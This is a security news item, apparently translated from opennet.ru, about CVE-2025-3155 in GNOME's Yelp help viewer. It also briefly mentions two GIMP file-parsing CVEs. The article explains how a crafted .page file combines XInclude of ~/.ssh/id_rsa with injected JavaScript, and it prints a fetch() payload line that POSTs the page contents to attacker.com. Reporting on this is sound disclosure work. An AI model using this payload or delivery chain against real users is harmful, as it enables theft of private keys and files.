È stata identificata una vulnerabilità (CVE-2025-3155) nel visualizzatore Yelp, utilizzato per impostazione predefinita in GNOME per la consultazione delle guide (GNOME Help), che consente l'esecuzione di codice JavaScript arbitrario aprendo file page appositamente formattati. L'esecuzione di tali script può permettere l'invio di file dell'utente al server dell'attaccante. È possibile seguire la risoluzione della vulnerabilità nelle distribuzioni alle seguenti pagine: Debian, Ubuntu, RHEL, SUSE/openSUSE, Fedora, Arch, FreeBSD.
In GNOME, a URI "ghelp://" is registered to open files with manual pages, processed via a Yelp call. For an attack, the attacker must manage to upload their index.page file to the user's system. For instance, they can trick the user into downloading the file through the browser by clicking on a link on the attacker's site. Once the file is downloaded, the attacker can initiate the opening of this document by redirecting the browser from their page to the URL ghelp:// with the path to the directory where the file was uploaded. For example, "ghelp:///proc/self/cwd/Downloads", where the path "/proc/self/cwd" is associated with the working directory of the current process (when Yelp is launched, this will be the user's home directory).
La vulnerabilità è causata dal fatto che nei file page viene utilizzato un formato Mallard, basato su XML. In questo formato è possibile inserire nel documento contenuti di altri file utilizzando il meccanismo XInclude. Per renderizzare i file page, il programma Yelp li converte da XML in HTML utilizzando XSLT (yelp-xsl), dopodiché li visualizza utilizzando il motore WebKitGtk. L'idea è di ottenere l'inserimento di JavaScript nel file HTML risultante e utilizzare questo JavaScript per inviare a server contenuti inseriti tramite XInclude.
Per inserire JavaScript è stato utilizzato il fatto che XSLT copia alcuni elementi in HTML senza alcun controllo, ad esempio, trasferisce completamente l'elemento e tutto il relativo contenuto. In questo modo, per trasferire il file esterno un server «~/.ssh/id_rsa» è sufficiente inserirlo nel documento page tramite la direttiva «include»:
Successivamente, si può aggiungere tramite l'elemento una chiamata JavaScript con il codice per inviare una richiesta POST a un server esterno, utilizzando la funzione fetch(): onload=_=>fetch("http://attacker.com/",{method:"POST",body:document.body.outerHTML,mode:"no-cors"})
In aggiunta, possiamo notare due vulnerabilità (CVE-2025-2761, CVE-2025-2760) nell'editor grafico GIMP, che portano all'esecuzione del codice dell'attaccante quando l'utente apre immagini appositamente create nei formati XWD e FLI. Entrambe le vulnerabilità sono causate da un'adeguata mancanza di verifica delle dimensioni dei dati copiati nel buffer durante l'analisi del contenuto dei file. Le vulnerabilità sono state risolte nella versione GIMP 3.0.0.
Fonte: opennet.ru
